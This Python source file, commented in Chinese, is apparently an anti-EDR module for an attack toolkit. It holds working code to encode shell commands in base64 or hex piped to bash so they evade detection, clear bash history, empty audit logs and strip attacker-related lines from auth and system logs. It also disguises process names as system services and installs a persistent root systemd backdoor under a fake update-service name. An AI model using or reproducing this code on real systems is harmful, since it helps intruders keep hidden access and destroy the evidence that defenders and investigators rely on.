#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

反EDR/反审计模块
提供命令混淆、日志清理、进程隐藏等高级对抗能力
"""

import os
import sys

# Python 2/3 兼容性处理
if sys.version_info[0] == 2:
    string_types = basestring
    text_type = unicode
    def iteritems(d):
        return d.iteritems()
    def itervalues(d):
        return d.itervalues()
else:
    string_types = str
    text_type = str
    def iteritems(d):
        return d.items()
    def itervalues(d):
        return d.values()
import subprocess
import time
import random
import string
import base64
import hashlib
from core.utils import color_green, color_red, color_yellow, color_blue, run_command_compat




class CommandObfuscator:
    """命令混淆器 - 规避EDR命令行监控"""
    
    def __init__(self):
        self.name = "命令混淆器"
        
    def base64_encode_command(self, command):
        """Base64编码命令"""
        try:
            encoded = base64.b64encode(command.encode('utf-8')).decode('utf-8')
            obfuscated_cmd = f"echo '{encoded}' | base64 -d | bash"
            return obfuscated_cmd
        except Exception as e:
            color_red("Base64编码失败: {}".format(e))
            return command
    
    def hex_encode_command(self, command):
        """十六进制编码命令"""
        try:
            hex_encoded = command.encode('utf-8').hex()
            obfuscated_cmd = f"echo '{hex_encoded}' | xxd -r -p | bash"
            return obfuscated_cmd
        except Exception as e:
            color_red("十六进制编码失败: {}".format(e))
            return command
    
    def variable_substitution(self, command):
        """变量替换混淆"""
        try:
            # 将命令拆分并使用变量存储
            parts = command.split()
            if len(parts) > 1:
                var_name = ''.join(random.choice(string.ascii_lowercase) for _ in range(8))
                obfuscated_cmd = "{0}='{1}'; ${0} {2}".format(var_name, parts[0], ' '.join(parts[1:]))
                return obfuscated_cmd
            return command
        except Exception as e:
            color_red("变量替换失败: {0}".format(e))
            return command
    
    def character_escape(self, command):
        """字符转义混淆"""
        try:
            # 随机转义一些字符
            escaped_cmd = ""
            for char in command:
                if random.random() < 0.3 and char.isalpha():
                    escaped_cmd += "\\{}".format(char)
                else:
                    escaped_cmd += char
            return escaped_cmd
        except Exception as e:
            color_red("字符转义失败: {}".format(e))
            return command
    
    def multi_layer_obfuscation(self, command):
        """多层混淆"""
        try:
            # 随机选择混淆方法
            methods = [
                self.base64_encode_command,
                self.hex_encode_command,
                self.variable_substitution,
                self.character_escape
            ]
            
            # 应用1-2层混淆
            layers = random.randint(1, 2)
            obfuscated = command
            
            for _ in range(layers):
                method = random.choice(methods)
                obfuscated = method(obfuscated)
                
            return obfuscated
        except Exception as e:
            color_red("多层混淆失败: {}".format(e))
            return command

class LogCleaner:
    """日志清理器 - 清除攻击痕迹"""
    
    def __init__(self):
        self.name = "日志清理器"
        self.log_files = [
            '/var/log/auth.log',
            '/var/log/secure',
            '/var/log/messages',
            '/var/log/syslog',
            '/var/log/cron',
            '/var/log/daemon.log',
            '/var/log/kern.log',
            '/var/log/user.log',
            '/var/log/wtmp',
            '/var/log/btmp',
            '/var/log/lastlog',
            '/var/log/utmp',
            '/var/log/audit/audit.log',
            '/var/log/httpd/access_log',
            '/var/log/apache2/access.log',
            '/var/log/nginx/access.log'
        ]
    
    def clear_command_history(self):
        """清除命令历史"""
        try:
            # 清除bash历史
            commands = [
                "history -c",  # 清除内存中的历史
                "history -w",  # 写入历史文件
                "cat /dev/null > ~/.bash_history",  # 清空历史文件
                "unset HISTFILE",  # 取消历史文件设置
                "export HISTSIZE=0",  # 设置历史大小为0
                "export HISTFILESIZE=0"  # 设置历史文件大小为0
            ]
            
            for cmd in commands:
                try:
                    subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                except:
                    pass
                    
            color_green("✓ 命令历史已清除")
            return True
        except Exception as e:
            color_red("清除命令历史失败: {}".format(e))
            return False
    
    def clean_auth_logs(self, keywords=None):
        """清理认证日志"""
        if keywords is None:
            keywords = ['ssh', 'sudo', 'su', 'login', 'session']
            
        try:
            cleaned_count = 0
            for log_file in ['/var/log/auth.log', '/var/log/secure']:
                if os.path.exists(log_file) and os.access(log_file, os.W_OK):
                    try:
                        # 备份原文件
                        backup_file = "{}.bak".format(log_file)
                        subprocess.run(['cp', log_file, backup_file], 
                                     stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                        
                        # 读取并过滤日志
                        with open(log_file, 'r') as f:
                            lines = f.readlines()
                        
                        filtered_lines = []
                        for line in lines:
                            should_remove = False
                            for keyword in keywords:
                                if keyword.lower() in line.lower():
                                    # 检查是否包含可疑活动
                                    if any(suspicious in line.lower() for suspicious in 
                                          ['root', 'sudo', 'unauthorized', 'failed']):
                                        should_remove = True
                                        break
                            
                            if not should_remove:
                                filtered_lines.append(line)
                        
                        # 写回过滤后的内容
                        with open(log_file, 'w') as f:
                            f.writelines(filtered_lines)
                        
                        cleaned_count += 1
                        color_green("✓ 已清理 {}".format(log_file))
                        
                    except Exception as e:
                        color_yellow("清理 {} 时出错: {}".format(log_file, e))
                        
            return cleaned_count > 0
        except Exception as e:
            color_red("清理认证日志失败: {}".format(e))
            return False
    
    def clean_system_logs(self, target_ip=None, target_user=None):
        """清理系统日志中的特定条目"""
        try:
            cleaned_count = 0
            
            for log_file in self.log_files:
                if os.path.exists(log_file) and os.access(log_file, os.W_OK):
                    try:
                        # 构建sed命令来删除包含特定模式的行
                        sed_patterns = []
                        
                        if target_ip:
                            sed_patterns.append("/{}/d".format(target_ip))
                        if target_user:
                            sed_patterns.append("/{}/d".format(target_user))
                        
                        # 添加通用可疑模式
                        suspicious_patterns = [
                            '/backdoor/d',
                            '/malware/d',
                            '/exploit/d',
                            '/payload/d',
                            '/reverse.shell/d',
                            '/unauthorized/d'
                        ]
                        sed_patterns.extend(suspicious_patterns)
                        
                        for pattern in sed_patterns:
                            cmd = f"sed -i '{pattern}' {log_file}"
                            subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                        
                        cleaned_count += 1
                        
                    except Exception as e:
                        color_yellow("清理 {} 时出错: {}".format(log_file, e))
                        
            if cleaned_count > 0:
                color_green("✓ 已清理 {} 个系统日志文件".format(cleaned_count))
                return True
            else:
                color_yellow("未找到可清理的日志文件")
                return False
                
        except Exception as e:
            color_red("清理系统日志失败: {}".format(e))
            return False
    
    def clean_audit_logs(self):
        """清理审计日志"""
        try:
            audit_logs = [
                '/var/log/audit/audit.log',
                '/var/log/auditd/audit.log'
            ]
            
            cleaned = False
            for log_file in audit_logs:
                if os.path.exists(log_file) and os.access(log_file, os.W_OK):
                    try:
                        # 清空审计日志
                        with open(log_file, 'w') as f:
                            f.write("")
                        color_green("✓ 已清空 {}".format(log_file))
                        cleaned = True
                    except Exception as e:
                        color_yellow("清理 {} 失败: {}".format(log_file, e))
            
            # 重启审计服务以避免异常
            try:
                subprocess.run(['systemctl', 'restart', 'auditd'], 
                             stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            except:
                pass
                
            return cleaned
        except Exception as e:
            color_red("清理审计日志失败: {}".format(e))
            return False
    
    def clean_all_logs(self, target_ip=None, target_user=None):
        """清理所有相关日志"""
        color_blue("开始清理系统日志...")
        
        results = []
        results.append(self.clear_command_history())
        results.append(self.clean_auth_logs())
        results.append(self.clean_system_logs(target_ip, target_user))
        results.append(self.clean_audit_logs())
        
        success_count = sum(results)
        color_blue("日志清理完成: {}/4 项成功".format(success_count))
        
        return success_count >= 2

class ProcessHider:
    """进程隐藏器 - 隐藏恶意进程"""
    
    def __init__(self):
        self.name = "进程隐藏器"
    
    def hide_process_name(self, original_name, fake_name=None):
        """修改进程名称"""
        try:
            if fake_name is None:
                # 生成看起来正常的进程名
                fake_names = [
                    'systemd-update',
                    'kernel-worker',
                    'network-manager',
                    'system-monitor',
                    'log-rotator',
                    'backup-service'
                ]
                fake_name = random.choice(fake_names)
            
            # 使用exec -a 修改进程名
            hidden_cmd = f"exec -a '{fake_name}' {original_name}"
            return hidden_cmd
        except Exception as e:
            color_red("进程名隐藏失败: {}".format(e))
            return original_name
    
    def create_decoy_processes(self):
        """创建诱饵进程"""
        try:
            decoy_commands = [
                "sleep 3600",
                "tail -f /dev/null",
                "cat /dev/zero > /dev/null",
                "dd if=/dev/zero of=/dev/null bs=1 count=1"
            ]
            
            created_count = 0
            for cmd in decoy_commands:
                try:
                    # 在后台运行诱饵进程
                    subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, 
                                   stderr=subprocess.PIPE, stdin=subprocess.PIPE)
                    created_count += 1
                except:
                    pass
            
            color_green("✓ 已创建 {} 个诱饵进程".format(created_count))
            return created_count > 0
        except Exception as e:
            color_red("创建诱饵进程失败: {}".format(e))
            return False

class EDREvasionManager:
    """EDR规避管理器"""
    
    def __init__(self):
        self.obfuscator = CommandObfuscator()
        self.log_cleaner = LogCleaner()
        self.process_hider = ProcessHider()
    
    def execute_stealthy_command(self, command, clean_logs=True):
        """隐蔽执行命令"""
        try:
            color_blue("准备隐蔽执行: {}".format(command))
            
            # 1. 混淆命令
            obfuscated_cmd = self.obfuscator.multi_layer_obfuscation(command)
            color_yellow("混淆后命令: {}".format(obfuscated_cmd))
            
            # 2. 执行命令
            result = subprocess.run(obfuscated_cmd, shell=True, 
                                  stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
            
            # 3. 清理日志痕迹
            if clean_logs:
                time.sleep(1)  # 等待日志写入
                self.log_cleaner.clean_all_logs()
            
            if result.returncode == 0:
                color_green("✓ 命令执行成功且痕迹已清理")
                return True, result.stdout
            else:
                color_red("命令执行失败: {}".format(result.stderr))
                return False, result.stderr
                
        except Exception as e:
            color_red("隐蔽执行失败: {}".format(e))
            return False, str(e)
    
    def deploy_anti_edr_backdoor(self, backdoor_command, service_name=None):
        """部署反EDR后门"""
        try:
            color_blue("部署反EDR后门...")
            
            if service_name is None:
                service_name = "system-{}".format(random.randint(1000, 9999))
            
            # 1. 混淆后门命令
            obfuscated_backdoor = self.obfuscator.multi_layer_obfuscation(backdoor_command)
            
            # 2. 创建隐蔽的systemd服务
            service_content = f"""[Unit]
Description=System Update Service
After=network.target

[Service]
Type=forking
ExecStart=/bin/bash -c '{obfuscated_backdoor}'
Restart=always
RestartSec=30
User=root

[Install]
WantedBy=multi-user.target
"""
            
            service_file = "/etc/systemd/system/{}.service".format(service_name)
            
            # 3. 隐蔽写入服务文件
            success, _ = self.execute_stealthy_command(
                f"echo '{service_content}' > {service_file}"
            )
            
            if success:
                # 4. 启用服务
                self.execute_stealthy_command(f"systemctl daemon-reload")
                self.execute_stealthy_command("systemctl enable {}".format(service_name))
                self.execute_stealthy_command("systemctl start {}".format(service_name))
                
                color_green("✓ 反EDR后门部署成功: {}".format(service_name))
                return True
            else:
                color_red("反EDR后门部署失败")
                return False
                
        except Exception as e:
            color_red("反EDR后门部署异常: {}".format(e))
            return False
    
    def comprehensive_cleanup(self, target_ip=None, target_user=None):
        """全面清理攻击痕迹"""
        color_blue("开始全面清理攻击痕迹...")
        
        # 1. 清理命令历史
        self.log_cleaner.clear_command_history()
        
        # 2. 清理系统日志
        self.log_cleaner.clean_all_logs(target_ip, target_user)
        
        # 3. 创建诱饵进程
        self.process_hider.create_decoy_processes()
        
        # 4. 清理临时文件
        temp_patterns = [
            "/tmp/.*backdoor.*",
            "/tmp/.*exploit.*",
            "/tmp/.*payload.*",
            "/var/tmp/.*malware.*"
        ]
        
        for pattern in temp_patterns:
            try:
                subprocess.run("rm -rf {}".format(pattern), shell=True, 
                             stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            except:
                pass
        
        color_green("✓ 全面清理完成")
        return True